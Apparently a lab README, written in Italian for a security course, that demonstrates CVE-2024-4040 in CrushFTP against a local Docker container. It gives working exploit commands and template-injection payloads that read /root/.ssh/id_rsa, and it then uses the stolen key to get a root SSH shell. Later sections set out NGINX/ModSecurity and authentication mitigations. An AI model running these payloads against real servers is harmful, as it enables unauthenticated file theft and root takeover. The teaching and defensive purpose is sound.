
Prova di concetto per CVE-2024-4040 (CrushFTP SSTI -> LFI non autenticato) in un ambiente di laboratorio controllato CS443 - solo per uso educativo/autorizzato.
Solo per uso didattico e autorizzato in laboratorio.
CS443 Sicurezza del Software e dei Sistemi — ambiente Docker locale controllato.
| Campo | Dettaglio |
|---|---|
| CVE | CVE-2024-4040 |
| Software Affetto | CrushFTP < 10.7.1 (ramo v10) / < 11.1.0 (ramo v11) |
| Tipo di vulnerabilità | Iniezione di template lato server (SSTI) → Lettura di file locale non autenticata |
| Punteggio CVSS | 9.8 Critico |
| Impatto | Attaccanti non autenticati possono leggere file arbitrari dal filesystem del server |
Il WebInterface di CrushFTP valuta le espressioni di template nel parametro path del comando zip senza sanificazione. Un attaccante non autenticato può ottenere cookie di sessione anonimi, quindi utilizzare tali cookie per passare payload di template ({working_dir}, <INCLUDE>…</INCLUDE>) che il server valuta e restituisce — consentendo la lettura arbitraria di file su tutto l'host.
| Componente | Valore |
|---|---|
| Target | http://localhost:8080 |
| Versione CrushFTP della PoC base | 10.3.0 (intenzionalmente vulnerabile) |
| Ambiente test Mitigazione 3 | Contenitore separato che esegue CrushFTP 11.x (ramo corretto) |
| Porta SSH (contenitore) | 2222 → 22 |
| Credenziali amministratore | admin / admin |
| Runtime contenitore | Docker (Compose) |
pip install requests rich
| Script | Fonte | Scopo |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | Exploit SSTI/LFI completo: furto di sessione, lettura file arbitraria |
recon.py | Questo repository | Rilevamento versione, probe SSTI live, conferma vulnerabilità |
docker-compose up -d
Attendi circa 10 secondi per l'inizializzazione completa di CrushFTP prima di eseguire gli script.
Non è necessario un passaggio di riconoscimento separato qui perché crushed.py verifica già se lo sfruttamento è possibile durante l'esecuzione.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
Lo script:
CrushAuth / currentAuth da /WebInterface/{working_dir} per risolvere la directory di installazione di CrushFTP<INCLUDE>/root/.ssh/id_rsa</INCLUDE> per leggere il file targetCopia il blocco della chiave privata dall'output (tutto da -----BEGIN OPENSSH PRIVATE KEY----- a -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<incolla la chiave dall'output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Previsto: root
id
# Previsto: uid=0(root) gid=0(root) groups=0(root)
hostname
# Previsto: <id_contenitore>
Attaccante non autenticato
│
▼
GET /WebInterface/ ← ottiene cookie CrushAuth + currentAuth anonimi
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confermata — template valutato dal server
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← rivela il percorso assoluto di installazione
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← lettura file arbitraria
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← shell root completa
| Problema | Posizione | Dettagli |
|---|---|---|
| Dipendenza mancante | Righe 6–9 | Richiede pip install rich prima dell'esecuzione |
| Parsing XML fragile | Righe 86, 140 | Si blocca su risposte server non XML; nessuna gestione di ParseError |
| Regex token troppo rigida | Righe 160–161 | Il pattern CrushAuth=…; currentAuth=… potrebbe non corrispondere a tutti i formati di sessions.obj |
| Solo HTTP 404 | Riga 53 | L'acquisizione dei cookie riesce solo su 404; fallisce silenziosamente su altri codici di stato |
Un WAF agisce come proxy inverso che ispeziona il traffico HTTP/S in ingresso prima che raggiunga CrushFTP. Utilizzando NGINX con ModSecurity, le richieste malevole che sfruttano CVE-2024-4040 vengono bloccate al perimetro di rete senza modificare CrushFTP stesso.
../, %2e%2e) negli URI delle richieste e nei cookieUsa Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Usa Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
Attaccante -> NGINX WAF (porta 80) -> blocca richieste malevole -> 403 Forbidden
-> inoltra richieste pulite -> CrushFTP:8080
CVE-2024-4040 è sfruttabile senza autenticazione. In questo laboratorio, l'accesso in stile anonimo viene bloccato a livello NGINX richiedendo un'intestazione Authorization prima di inoltrare le route sensibili a CrushFTP.
crushed.py si basano sull'accesso non autenticato; le richieste senza credenziali vengono rifiutate con 401/WebInterface/ e / vengono negate a meno che non siano presenti dati di autenticazioneservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp